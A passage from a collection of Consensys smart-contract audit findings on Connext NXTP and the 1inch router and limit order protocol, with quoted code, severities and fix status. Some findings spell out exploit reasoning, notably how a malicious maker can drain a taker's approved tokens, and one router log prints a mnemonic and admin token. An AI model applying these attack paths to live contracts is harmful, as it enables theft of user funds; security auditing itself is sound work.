ProposedOwnable as this is where it logically belongs to code/packages/contracts/contracts/TransactionManager.sol:L160-L162 function renounced() public view override returns (bool) { return owner() == address(0); onlyOwner can directly access state-var _owner instead of spending more gas on calling owner() code/packages/contracts/contracts/ProposedOwnable.sol:L76-L79 modifier onlyOwner() { require(owner() == msg.sender, \"#OO:029\"); _; Recommendation onlyOwner can directly access _owner (gas optimization) add a method to explicitly renounce ownership of the contract move TransactionManager.renounced() to ProposedOwnable as this is where it logically belongs to change the access control for acceptProposedOwner from onlyOwner to require(msg.sender == _proposed) (new owner). ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.17 FulfillInterpreter - Wrong order of actions in fallback handling ", "body": " Description code2/packages/contracts/contracts/interpreters/FulfillInterpreter.sol:L68-L90 bool isNative = LibAsset.isNativeAsset(assetId); if (!isNative) { LibAsset.increaseERC20Allowance(assetId, callTo, amount); // Check if the callTo is a contract bool success; bytes memory returnData; if (Address.isContract(callTo)) { // Try to execute the callData // the low level call will return `false` if its execution reverts (success, returnData) = callTo.call{value: isNative ? amount : 0}(callData); // Handle failure cases if (!success) { // If it fails, transfer to fallback LibAsset.transferAsset(assetId, fallbackAddress, amount); // Decrease allowance if (!isNative) { LibAsset.decreaseERC20Allowance(assetId, callTo, amount); For the fallback scenario, i.e., the call isn t executed or fails, the funds are first transferred to fallbackAddress, and the previously increased allowance is decreased after that. If the token supports it, the recipient of the direct transfer could try to exploit that the approval hasn t been revoked yet, so the logically correct order is to decrease the allowance first and transfer the funds later. However, it should be noted that the FulfillInterpreter should, at any point in time, only hold the funds that are supposed to be transferred as part of the current transaction; if there are any excess funds, these are leftovers from a previous failure to withdraw everything that could have been withdrawn, so these can be considered up for grabs. Hence, this is only a minor issue. Recommendation We recommend reversing the order of actions for the fallback case: Decrease the allowance first, and transfer later. Moreover, it would be better to increase the allowance only in case a call will actually be made, i.e., if Address.isContract(callTo) is true. Remark This issue was already present in the original version of the code but was missed initially and only found during the re-audit. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.18 FulfillInterpreter - Executed event can t be linked to TransactionFulfilled event ", "body": " Resolution This issue has been fixed. We d like to point out, though: Based on the data emitted by the TransactionFulfilled event, it is currently not possible to distinguish between: (A) No call to callTo has been made because the address didn t contain code. (B) Address callTo did contain code, a call was made, and it failed with empty return data. If this distinction seems relevant, an additional bool should be returned from FulfillInterpreter.execute and emitted in TransactionFulfilled, indicating which of the two scenarios were encountered. The Executed event isn t needed anymore and could be removed. Description While it is in the user s best interest not to reuse a transactionId they have used before, unique transaction IDs are not enforced, and a user seeking to wreak havoc might choose to reuse an ID if it helps them accomplish their goal. In this case, event-monitoring software might get confused by several Executed events with the same transactionId and not be able to match the event with its TransactionFulfilled counterpart. Recommendation Generally, the following rules apply to transaction IDs: A user must, in their own best interest, never reuse a transactionId they have used before \u2014 not even across different chains and no matter whether the transaction was successful or not. This per-user uniqueness of transaction IDs is not enforced, though \u2014 not even per TransactionManager deployment. Hence, the code may not rely on this assumption, and no harm must come from a reused transaction ID for the system or anyone else than the user who reused the ID. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.19 Sdk.finishTransfer - missing validation ", "body": " Description Sdk.finishTransfer should validate that the router that locks liquidity in the receiving chain, should be the same router the user had committed to in the sending chain. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.20 FulfillInterpreter - Missing check whether callTo address contains code ", "body": " Resolution This issue has been fixed. Description The receiver-side prepare checks whether the callTo address is either zero or a contract: code/packages/contracts/contracts/TransactionManager.sol:L466-L470 // Check that the callTo is a contract // NOTE: This cannot happen on the sending chain (different chain // contexts), so a user could mistakenly create a transfer that must be // cancelled if this is incorrect require(invariantData.callTo == address(0) || Address.isContract(invariantData.callTo), \"#P:031\"); However, as a contract may selfdestruct and the check is not repeated later, there is no guarantee that callTo still contains code when the call to this address (assuming it is non-zero) is actually executed in FulfillInterpreter.execute: code/packages/contracts/contracts/interpreters/FulfillInterpreter.sol:L71-L82 // Try to execute the callData // the low level call will return `false` if its execution reverts (bool success, bytes memory returnData) = callTo.call{value: isEther ? amount : 0}(callData); if (!success) { // If it fails, transfer to fallback Asset.transferAsset(assetId, fallbackAddress, amount); // Decrease allowance if (!isEther) { Asset.decreaseERC20Allowance(assetId, callTo, amount); As a result, if the contract at callTo self-destructs between prepare and fulfill (both on the receiving chain), success will be true, and the funds will probably be lost to the user. A user could currently try to avoid this by checking that the contract still exists before calling fulfill on the receiving chain, but even then, they might get front-run by selfdestruct, and the situation is even worse with a relayer, so this provides no reliable protection. Recommendation Repeat the Address.isContract check on callTo before making the external call in FulfillInterpreter.execute and send the funds to the fallbackAddress if the result is false. Remark It should be noted that an unsuccessful call, i.e., a revert, is the only behavior that is recognized by FulfillInterpreter.execute as failure. While it is prevalent to indicate failure by reverting, this doesn t have to be the case; a well-known example is an ERC20 token that indicates a failing transfer by returning false. A user who wants to utilize this feature has to make sure that the called contract behaves accordingly; if that is not the case, an intermediary contract may be employed, which, for example, reverts for return value false. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.21 TransactionManager - Adherence to EIP-712 ", "body": " Resolution Comment from Connext: We did not fully adopt EIP712 because hardware wallet support is still not universal. Additionally, we chose not to address this issue in the recommended fashion (using address(this), block.chainId) because the fulfill signature must be usable across both the sending and receiving chain. Instead, we made sure the transactionManagerReceivingAddress, receivingChainId was signed. We advise users of the system not to use their key and address for other systems that operate with signed messages unless they can rule out the possibility of replay attacks. Regarding the signed receivingChainId and receivingChainTxManagerAddress, we d like to mention that even for receiver-side fulfillment, these are not verified against the current chain ID and address of the contract. Description fulfill function requires the user signature on a transactionId. While currently, the user SDK code is using a cryptographically secured pseudo-random function to generate the transactionId, it should not be counted upon and measures should be placed on the smart-contract level to ensure replay-attack protection. Examples code/packages/contracts/contracts/TransactionManager.sol:L918-L933 function recoverSignature( bytes32 transactionId, uint256 relayerFee, string memory functionIdentifier, bytes calldata signature ) internal pure returns (address) { // Create the signed payload SignedData memory payload = SignedData({ transactionId: transactionId, relayerFee: relayerFee, functionIdentifier: functionIdentifier }); // Recover return ECDSA.recover(ECDSA.toEthSignedMessageHash(keccak256(abi.encode(payload))), signature); Recommendation Consider adhering to EIP-712, or at least including address(this), block.chainId as part of the data signed by the user. ", "labels": ["Consensys", "Minor", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.22 TransactionManager - Hard-coded chain ID might lead to problems after a chain split Pending", "body": " Resolution The recommendation below has been implemented, but the current codebase doesn t handle chain splits correctly. On the chain that gets a new chain ID, funds may be lost or frozen. More specifically, after a chain split, we may find ourselves in the situation that the current chain ID is neither the sendingChainId nor the receivingChainId stored in the invariant transaction data. If that is the case, we re on the chain that got a new chain ID. fulfill should always revert in this situation, but cancellation should be possible to release locked funds. We don t know, however, whether we should send the funds back to the user (that is, we re on a fork of the sending chain) or whether they should be given back to the router (that is, we re on a fork of the receiving chain). Our recommendation to solve this is to store in the variant transaction data explicitly whether this is the sending chain or the receiving chain; with this information, we can disambiguate the situation and implement cancel correctly. Description The ID of the chain on which the contract is deployed is supplied as a constructor argument and stored as an immutable state variable: code/packages/contracts/contracts/TransactionManager.sol:L104-L107 /** @dev The chain id of the contract, is passed in to avoid any evm issues / uint256 public immutable chainId; code/packages/contracts/contracts/TransactionManager.sol:L125-L128 constructor(uint256 _chainId) { chainId = _chainId; interpreter = new FulfillInterpreter(address(this)); Hence, chainId can never change, and even after a chain split, both contracts would continue to use the same chain ID. That can have undesirable consequences. For example, a transaction that was prepared before the split could be fulfilled on both chains. Recommendation It would be better to query the chain ID directly from the chain via block.chainId. However, the development team informed us that they had encountered problems with this approach as some chains apparently are not implementing this correctly. They resorted to the method described above, a constructor-supplied, hard-coded value. For chains that do indeed not inform correctly about their chain ID, this is a reasonable solution. However, for the reasons outlined above, we still recommend querying the chain ID via block.chainId for chains that do support that \u2014 which should be the vast majority \u2014 and using the fallback mechanism only when necessary. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.23 Router - handling of native assetID (0x000..00, e.g. ETH) not implemented ", "body": " Description Additionally, handleSenderPrepare does not manage approvals for ERC20 transfers. Examples harcoded zero amount code/packages/router/src/contract.ts:L137-L147 return ResultAsync.fromPromise( this.txService.sendTx( to: this.config.chainConfig[chainId].transactionManagerAddress, data: encodedData, value: constants.Zero, chainId, from: this.signerAddress, }, requestContext, ), code/packages/router/src/contract.ts:L206-L215 this.txService.sendTx( chainId, data: fulfillData, to: nxtpContractAddress, value: 0, from: this.signerAddress, }, requestContext, ), approveTokensIfNeeded will fail when using native assets code/packages/sdk/src/transactionManager.ts:L329-L333 ).andThen((signerAddress) => { const erc20 = new Contract( assetId, ERC20.abi, this.signer.provider ? this.signer : this.signer.connect(config.provider), Recommendation Remove complexity by requiring ERC20 compliant wrapped native assets (e.g.WETH instead of native ETH). ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.24 Router - config file is missing the swapPools attribute and credentials are leaked to console in case of invalid config ", "body": " Description Node startup fails due to missing swapPools configuration in config.json.example. Confidential secrets are leaked to console in the event that the config file is invalid. Examples yarn workspace @connext/nxtp-router dev [app] [nodemon] 2.0.12 [app] [nodemon] to restart at any time, enter `rs` [app] [nodemon] watching path(s): .env dist/**/* ../@connext/nxtp-txservice/dist ../@connext/nxtp-contracts/dist ../@connext/nxtp-utils/dist [app] [nodemon] watching extensions: js,json [app] [nodemon] starting `node --enable-source-maps ./dist/index.js | pino-pretty` [tsc] [tsc] 13:52:29 - Starting compilation in watch mode... [tsc] [tsc] [tsc] 13:52:29 - Found 0 errors. Watching for file changes. [app] Found configFile [app] Invalid config: { [app] \"mnemonic\": \"candy maple cake sugar pudding cream honey rich smooth crumble sweet treat\", [app] \"authUrl\": \"https://auth.connext.network\", [app] \"natsUrl\": \"nats://nats1.connext.provide.network:4222,nats://nats2.connext.provide.network:4222,nats://nats3.connext.provide.network:4222\", [app] \"adminToken\": \"blahblah\", [app] \"chainConfig\": { [app] \"4\": { [app] \"providers\": [ [app] \"https://rinkeby.infura.io/v3/\" [app] ], [app] \"confirmations\": 1, [app] \"subgraph\": \"https://api.thegraph.com/subgraphs/name/connext/nxtp-rinkeby\", [app] \"transactionManagerAddress\": \"0x29E81453AAe28A63aE12c7ED7b3F8BC16629A4Fd\", [app] \"minGas\": \"100000000000000000\" [app] }, [app] \"5\": { [app] \"providers\": [ [app] \"https://goerli.infura.io/v3/\" [app] ], [app] \"confirmations\": 1, [app] \"subgraph\": \"https://api.thegraph.com/subgraphs/name/connext/nxtp-goerli\", [app] \"transactionManagerAddress\": \"0xbF0F4f639cDd010F38CeBEd546783BD71c9e5Ea0\", [app] \"minGas\": \"100000000000000000\" [app] } [app] }, [app] \"logLevel\": \"info\" [app] } [app] Error: must have required property 'swapPools' [app] at Object.getEnvConfig (code/packages/router/dist/config.js:135:15) [app] -> code/packages/router/src/config.ts:145:11 [app] at Object.getConfig (code/packages/router/dist/config.js:149:30) [app] -> code/packages/router/src/config.ts:161:18 [app] at Object. (code/packages/router/dist/index.js:19:25) [app] -> code/packages/router/src/index.ts:23:16 [app] at Module._compile (internal/modules/cjs/loader.js:1063:30) [app] at Object.Module._extensions..js (internal/modules/cjs/loader.js:1092:10) [app] at Module.load (internal/modules/cjs/loader.js:928:32) [app] at Function.Module._load (internal/modules/cjs/loader.js:763:16) [app] at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:72:12) [app] at internal/main/run_main_module.js:17:47 Confidential information is only cleared in case the config file is valid but not in the event of an error code/packages/router/src/config.ts:L143-L149 if (!valid) { console.error(`Invalid config: ${JSON.stringify(nxtpConfig, null, 2)}`); throw new Error(validate.errors?.map((err) => err.message).join(\",\")); console.log(JSON.stringify({ ...nxtpConfig, mnemonic: \"********\" }, null, 2)); return nxtpConfig; Recommendation Provide a valid default example config. Fix integration tests. Always remove confidential information before logging on screen. Avoid providing default credentials as it is very likely that someone might end up using them. Consider asking the user to provide missing credentials on first run or autogenerate it for them. Note that the adminToken is not cleared before it is being printed to screen. If this is a credential it should be blanked out before being printed. Consider separating application-specific configuration from credentials/secrets. 5 Recommendations ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "5.1 Router - Logging Consistency", "body": " Description Avoid using console.*() in favor of the logger.*() family to provide a consistent timestamped log trail. Note that console.* might have different buffering behavior than logger.log which may mix up output lines. Examples code/packages/router/src/index.ts:L124-L131 server.listen(8080, \"0.0.0.0\", (err, address) => { if (err) { console.error(err); process.exit(1); console.log(`Server listening at ${address}`); }); code/packages/router/src/contract.ts:L415-L416 const decoded = this.txManagerInterface.decodeFunctionResult(\"getRouterBalance\", encodedData); console.log(\"decoded: \", decoded); ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "5.2 Router - Always perform strict validation of data received from third-parties or untrusted sources", "body": " Description For example, in subgraph.ts an external resource is queried to return transactions that match the router s ID, sending Chain, and status. An honest external party will only return items that match this filter. However, in case of the third-party misbehaving (or being breached), it might happen that entries that do not belong to this node or chain configuration are returned. Examples code/packages/router/src/subgraph.ts:L153-L175 let allSenderPrepared: GetSenderTransactionsQuery; try { allSenderPrepared = await sdk.GetSenderTransactions({ routerId: this.routerAddress.toLowerCase(), sendingChainId: chainId, status: TransactionStatus.Prepared, }); } catch (err) { this.logger.error( { method, methodId, error: jsonifyError(err) }, \"Error in sdk.GetSenderTransactions, aborting loop interval\", ); return; // create list of txIds for each receiving chain const receivingChains: Record = {}; allSenderPrepared.router?.transactions.forEach(({ transactionId, receivingChainId }) => { if (receivingChains[receivingChainId]) { receivingChains[receivingChainId].push(transactionId); } else { receivingChains[receivingChainId] = [transactionId]; Recommendation It is recommended to implement a defense-in-depth approach always validating inputs that come from third-parties or untrusted sources. Especially because the resources spent on performing the checks are negligible and significantly reduce the risk posed by third-party data providers. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "5.3 FulfillInterpreter - ReentrancyGuard can be removed Pending", "body": " Resolution The Description and Recommendation code/packages/contracts/contracts/interpreters/FulfillInterpreter.sol:L22-L28 /** @notice Errors if the sender is not the transaction manager / modifier onlyTransactionManager { require(msg.sender == _transactionManager, \"#OTM:027\"); _; code/packages/contracts/contracts/interpreters/FulfillInterpreter.sol:L54-L61 function execute( bytes32 transactionId, address payable callTo, address assetId, address payable fallbackAddress, uint256 amount, bytes calldata callData ) override external payable nonReentrant onlyTransactionManager { Consequently, if the TransactionManager contract can t be reentered, the FulfillInterpreter is automatically protected against reentrancy. Hence, if issue 4.9 is fixed, the reentrancy guard can be removed from FulfillInterpreter. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "5.4 FulfillInterpreter - _transactionManager state variable can be immutable ", "body": " Resolution This recommendation has been implemented. Description and Recommendation The _transactionManager state variable in the FulfillInterpreter is set in the constructor and never changed afterward. Hence, it can be immutable. code/packages/contracts/contracts/interpreters/FulfillInterpreter.sol:L16-L20 address private _transactionManager; constructor(address transactionManager) { _transactionManager = transactionManager; ", "labels": ["Consensys", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "5.5 TransactionManager - Risk mitigation for addLiquidity ", "body": " Resolution This recommendation has been implemented. Description and Recommendation ", "labels": ["Consensys", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2021/07/connext-nxtp-noncustodial-xchain-transfer-protocol/"}, {"title": "4.1 _WETH private constant address in UnoswapRouter makes for tricky deployments to other chains ", "body": " Resolution The 1inch team acknowledged but is unable to implement changes due to stack-too-deep errors that would require a large refactor of this already well-used and tested library. To interact with WETH, the UnoswapRouter uses a hardcoded _WETH private constant in the contract. Therefore, this currently needs changing every time the contract is deployed to a different chain, as noted by the comment within the contract: 1inch-contract/contracts/routers/UnoswapRouter.sol:L24-L26 /// @dev WETH address is network-specific and needs to be changed before deployment. /// It can not be moved to immutable as immutables are not supported in assembly address private constant _WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; As the comment also points out, the choice to not make it an immutable variable is not possible since they are not supported in assembly, and the UnoswapRouter contract is highly efficient and almost entirely written in assembly. However, the other contracts within the scope of this audit, do utilize setting a private immutable variable for WETH in the constructor, and some of them then initialize a new address variable derived from this private immutable variable, thereby allowing the address variable to be used in the assembly blocks instead: UnoswapV3Router 1inch-contract/contracts/routers/UnoswapV3Router.sol:L33-L37 IWETH private immutable _WETH; // solhint-disable-line var-name-mixedcase constructor(IWETH weth) { _WETH = weth; ClipperRouter 1inch-contract/contracts/routers/ClipperRouter.sol:L18-L24 IWETH private immutable _WETH; // solhint-disable-line var-name-mixedcase IClipperExchangeInterface private immutable _clipperExchange; constructor(IWETH weth, IClipperExchangeInterface clipperExchange) { _clipperExchange = clipperExchange; _WETH = weth; 1inch-contract/contracts/routers/ClipperRouter.sol:L101 address weth = address(_WETH); 1inch-contract/contracts/routers/ClipperRouter.sol:L112 if iszero(call(gas(), weth, 0, ptr, 0x64, 0, 0)) { OrderMixin limit-order-protocol/contracts/OrderMixin.sol:L63-L70 IWETH private immutable _WETH; // solhint-disable-line var-name-mixedcase /// @notice Stores unfilled amounts for each order plus one. /// Therefore 0 means order doesn't exist and 1 means order was filled mapping(bytes32 => uint256) private _remaining; constructor(IWETH weth) { _WETH = weth; Normalizing this process across all smart contracts in the 1inch system could help avoid accidental mistakes when the deployer could forget to first edit the unoswap contract to have the correct address. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/08/1inch-exchange-aggregationrouter-v5/"}, {"title": "4.2 Selfdestruct may be removed as an opcode in future ", "body": " Resolution The 1inch team acknowledged and noted. The AggregationRouterV5 contract implements a function called destroy that calls a selfdestuct on the contract with the msg.sender as the argument, that is checked by the onlyOwner modifier on the function. 1inch-contract/contracts/AggregationRouterV5.sol:L35-L37 function destroy() external onlyOwner { selfdestruct(payable(msg.sender)); However, there are discussions currently around removing the selfdestruct functionality from the EVM altogether with various motivations and rationale provided, such as this being not possible with Verkle trees and it being a requirement for stateleness. Link to the EIP is below: https://eips.ethereum.org/EIPS/eip-4758 It appears that the suggested remediation of this functionality per the EIP-4758 will not significantly change the results, for example all of the funds will still be sent to the specified address, but the destruction of the actual contract will not occur. So this is just an advisory note for the 1inch team to notify of this potential change in the future. 5 Limit Order Protocol ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/08/1inch-exchange-aggregationrouter-v5/"}, {"title": "5.1 Malicious maker can take more takers funds than taker expected ", "body": " Resolution Remediated as per the 1inch team in 1inch/limit-order-protocol@9ddc086 by adding a check that reverts when OrderMixin contract allows users to match makers(sellers) and takers(buyers) in an orderbook-like manner. One additional feature this contract has is that both makers and takers are allowed to integrate hooks into their orders to better react to market conditions and manage funds on the fly. Two out of many of these hooks are called: _getMakingAmount and _getTakingAmount. Those particular hooks allow the maker to dynamically respond to the making or taking amounts supplied by the taker. Essentially they allow overriding the rate that was initially set by the maker when creating an order up to a certain extent. To make sure that the newly suggested maker rate is reasonable taker also provides a threshold value or in other words the minimum amount of assets the taker is going to be fine receiving. Generally speaking, the maker can override the taking amount offered to the taker if the buyer passed a specific making amount in the fill transaction and vice versa. But there is one special case where the maker will be able to override both, which when done right will force the taker to spend an amount larger than the one intended. Specifically, this happens when the taker passed the desired taking amount and the maker returns a suggested making amount that is larger than the remaining order size. In this case, the making amount is being set to the remaining order amount and the taking is being recomputed. limit-order-protocol/contracts/OrderMixin.sol:L214-L217 actualMakingAmount = _getMakingAmount(order.getMakingAmount(), order.takingAmount, actualTakingAmount, order.makingAmount, remainingMakingAmount, orderHash); if (actualMakingAmount > remainingMakingAmount) { actualMakingAmount = remainingMakingAmount; actualTakingAmount = _getTakingAmount(order.getTakingAmount(), order.makingAmount, actualMakingAmount, order.takingAmount, remainingMakingAmount, orderHash); Essentially this allows the maker to override the taker amount and as long as the maker keeps the price intact or changed within a certain threshold like described in this issue, they can take all taking tokens of the buyer up to an amount of the token balance or approval limit whatever comes first. Consider the following example scenario: The maker has a large order to sell 100 ETH on the order book for 100 DAI each. The taker then wants to partially fill the order and buy as much ETH as 100 DAI will buy. At the same time taker has 100,000 DAI in the wallet. When taker tries to fill this order taker passes the takingAmount to be 100. Since OrderMixin received the taking amount we go this route: limit-order-protocol/contracts/OrderMixin.sol:L214 actualMakingAmount = _getMakingAmount(order.getMakingAmount(), order.takingAmount, actualTakingAmount, order.makingAmount, remainingMakingAmount, orderHash); However, note that when executing the _getMakingAmount() function, it first evaluates the order.getMakingAmount() argument which is evaluated as bytes calldata _getter within the function. limit-order-protocol/contracts/OrderMixin.sol:L324-L337 function _getMakingAmount( bytes calldata getter, uint256 orderTakingAmount, uint256 requestedTakingAmount, uint256 orderMakingAmount, uint256 remainingMakingAmount, bytes32 orderHash ) private view returns(uint256) { if (getter.length == 0) { // Linear proportion return getMakingAmount(orderMakingAmount, orderTakingAmount, requestedTakingAmount); return _callGetter(getter, orderTakingAmount, requestedTakingAmount, orderMakingAmount, remainingMakingAmount, orderHash); That is because the Order struct that is made and signed by the maker actually contains the necessary bytes within it that can be decoded to construct a target and calldata for static calls, which in this case are supposed to be used to return the making asset amounts that the maker determines to be appropriate, as seen in the comments under the uint256 offsets part of the struct. limit-order-protocol/contracts/OrderLib.sol:L7-L27 library OrderLib { struct Order { uint256 salt; address makerAsset; address takerAsset; address maker; address receiver; address allowedSender; // equals to Zero address on public orders uint256 makingAmount; uint256 takingAmount; uint256 offsets; // bytes makerAssetData; // bytes takerAssetData; // bytes getMakingAmount; // this.staticcall(abi.encodePacked(bytes, swapTakerAmount)) => (swapMakerAmount) // bytes getTakingAmount; // this.staticcall(abi.encodePacked(bytes, swapMakerAmount)) => (swapTakerAmount) // bytes predicate; // this.staticcall(bytes) => (bool) // bytes permit; // On first fill: permit.1.call(abi.encodePacked(permit.selector, permit.2)) // bytes preInteraction; // bytes postInteraction; bytes interactions; // concat(makerAssetData, takerAssetData, getMakingAmount, getTakingAmount, predicate, permit, preIntercation, postInteraction) Finally, if these bytes indeed contain data (i.e. length>0), they are passed to the _callGetter() function that asks the previously mentioned target for the data. limit-order-protocol/contracts/OrderMixin.sol:L354-L377 function _callGetter( bytes calldata getter, uint256 orderExpectedAmount, uint256 requestedAmount, uint256 orderResultAmount, uint256 remainingMakingAmount, bytes32 orderHash ) private view returns(uint256) { if (getter.length == 1) { if (OrderLib.getterIsFrozen(getter)) { // On \"x\" getter calldata only exact amount is allowed if (requestedAmount != orderExpectedAmount) revert WrongAmount(); return orderResultAmount; } else { revert WrongGetter(); } else { (address target, bytes calldata data) = getter.decodeTargetAndCalldata(); (bool success, bytes memory result) = target.staticcall(abi.encodePacked(data, requestedAmount, remainingMakingAmount, orderHash)); if (!success || result.length != 32) revert GetAmountCallFailed(); return abi.decode(result, (uint256)); However, since the getter is set in the Order struct, and the Order is set by the maker, the getter itself is entirely under the maker s control and can return whatever the maker wants, with no regard for the taker s passed actualTakingAmount or any arguments at all for that matter. So, in our example, the return value could be 100.1 ETH, i.e. just above the total order size. That will get us on the route of recomputing the taking amount since 100.1 is over the 100ETH remaining in the order. limit-order-protocol/contracts/OrderMixin.sol:L217 actualTakingAmount = _getTakingAmount(order.getTakingAmount(), order.makingAmount, actualMakingAmount, order.takingAmount, remainingMakingAmount, orderHash); This branch will set the actualMakingAmount to 100ETH and then the malicious maker will say the actualTakingAmount is 10000 DAI, this can be done via the _getTakingAmount static call in the same exact way as the making amount was manipulated. Then the threshold check would look like this as defined by its formula: limit-order-protocol/contracts/OrderMixin.sol:L222 if (actualMakingAmount * takingAmount < thresholdAmount * actualTakingAmount) revert MakingAmountTooLow(); ActualMakingAmount - 100ETH ActualTakingAmount - 10000DAI threshold - 1 ETH takingAmount - 100 DAI then: 100ETH * 100DAI < 1ETH*10000DAI This condition will be false so we will pass this check. Then we proceed to taker interaction. Assuming the taker did not pass any interaction, the actualTakingAmount will not change. Then we proceed to exchange tokens between maker and taker in the amount of actualTakingAmount and actualMakingAmount. The scenario allows the maker to take the taker s funds up to an amount of taker s approval or balance. Essentially while taker wanted to only spend 100 DAI, potentially they ended up spending much more. This paired with infinite approvals that are currently enabled on the 1inch UI could lead to funds being lost. While this does not introduce a price discrepancy this attack can be profitable to the malicious actor. The attacker could put an order to sell a large amount of new not trustworthy tokens for sale who s supply the attacker controls. Then after a short marketing campaign when people will cautiously try to buy a small amount of those tokens for let s say a small amount of USDC due to this bug attacker could drain all of their USDC. We advise that 1inch team treats this issue with extra care since a similar issue is present in a currently deployed production version of 1inch OrderMixin. One potential solution to this bug is introducing a global threshold that would represent by how much the actual taking amount can differ from the taker provided taking amount. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2022/08/1inch-exchange-aggregationrouter-v5/"}, {"title": "5.2 Invalidating users orders ", "body": " 1inch team has implemented a more streamlined version of the order book that is called OrderRFQMixin. This version has no hooks and is meant to be more straightforward than the main order book contract. One significant difference between those contracts is that the RFQ version invalidates the orders even after they have been only partially filled. limit-order-protocol/contracts/OrderRFQMixin.sol:L197-L203 { // Stack too deep uint256 info = order.info; // Check time expiration uint256 expiration = uint128(info) >> 64; if (expiration != 0 && block.timestamp > expiration) revert OrderExpired(); // solhint-disable-line not-rely-on-time _invalidateOrder(maker, info, 0); Since makers have to sign the orders, only makers can place the remainder of the original order as a new one. Given that information, an attacker could take all the orders and fill them with 1 wei of taking assets. While this will cost an attacker gas, on some chains it would be possible to make the operations of the protocol unreliable and impractical for makers. One way to fix that without making significant changes to the logic is to introduce a threshold that will determine the smallest taking amount for each order. That could be a percent of the taking amount specified in the order. This change will make the attack more expensive and less likely to happen. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/08/1inch-exchange-aggregationrouter-v5/"}, {"title": "5.3 Reentrancy potential issue for contracts building on top RFQOrderMixin ", "body": " Resolution Remediated as per the 1inch team in 1inch/limit-order-protocol@d3957fe by forwarding a limited amount of gas to guard against complex execution at the target but still allow for smart contract receipt that may require a bit more gas than usual EOA receipts. The RFQOrderMixin contract is used to facilitate transfer of assets in RFQ orders between makers and takers. Naturally, one of such possible assets could be the native coin of the chain, such as ETH. In order to perform these transfers, the contract currently utilizes the target.call(){value:X} method to transfer X ETH to the target address. However, this also calls into the target address and opens up arbitrary code execution that could lead to significant problems, that often times result in a reentrancy attack. limit-order-protocol/contracts/OrderRFQMixin.sol:L233 (bool success, ) = target.call{value: makingAmount}(\"\"); // solhint-disable-line avoid-low-level-calls While 1inch s RFQOrderMixin contract doesn t have a clear reentrancy attack vector, other smart contract systems that might utilize 1inch RFQ orders will have to handle a potential reentrancy due to this problem. The impact for downstream systems could be critical. This could be changed to .transfer() or .send() methods of transferring ETH, or at least heavily noted in documentation for any and all developers who may fork/utilize this code so reentrancy risks are made aware of. This does not seem to be a general-purpose use library for other systems, so likelihood of this issue happening isn t as high as in issue 6.4, so the severity is lower. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/08/1inch-exchange-aggregationrouter-v5/"}, {"title": "5.4 Order cancellation event spam in orderMixin ", "body": " The 1inch Limit Order protocol s contracts utilize mechanisms to allow creation of orders without posting the orders on chain. Indeed, the orders are created by signing Order struct hashes off-chain by the maker, and then having takers pass the signatures associated with those hashes to fill in those orders. However, a maker needs to be able to cancel their order if they change their mind, which would require them to execute an on-chain transaction marking that order hash as invalid: limit-order-protocol/contracts/OrderMixin.sol:L113-L121 function cancelOrder(OrderLib.Order calldata order) external returns(uint256 orderRemaining, bytes32 orderHash) { if (order.maker != msg.sender) revert AccessDenied(); orderHash = hashOrder(order); orderRemaining = _remaining[orderHash]; if (orderRemaining == _ORDER_FILLED) revert AlreadyFilled(); emit OrderCanceled(msg.sender, orderHash, orderRemaining); _remaining[orderHash] = _ORDER_FILLED; Unfortunately, since the OrderMixin contract is not aware of order hashes before interacting with them for the first time, it can not verify that the order was actually ever seriously present or intended to be executed. As a result, this would allow users to cancel non-existent orders and create event spam. While this would be costly to the spammer, it would nonetheless be possible. The impact of this would need systems that rely on the OrderCanceled event log to be aware of potential spam attacks with fake order cancellation and not use them, for example, for analytics, potential volume forecasting, tracking order created -> order cancelled metrics and so on. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2022/08/1inch-exchange-aggregationrouter-v5/"}, {"title": "5.5 Order book slippage ", "body": " OrderMixin contract allows users to match makers and takers in an orderbook-like manner. One additional feature this contract has is that both makers and takers are allowed to integrate hooks into their orders to better react to market conditions and manage funds on the fly. Two of these hooks are called: _getMakingAmount and _getTakingAmount. When trying to fill an order taker is required to provide either the 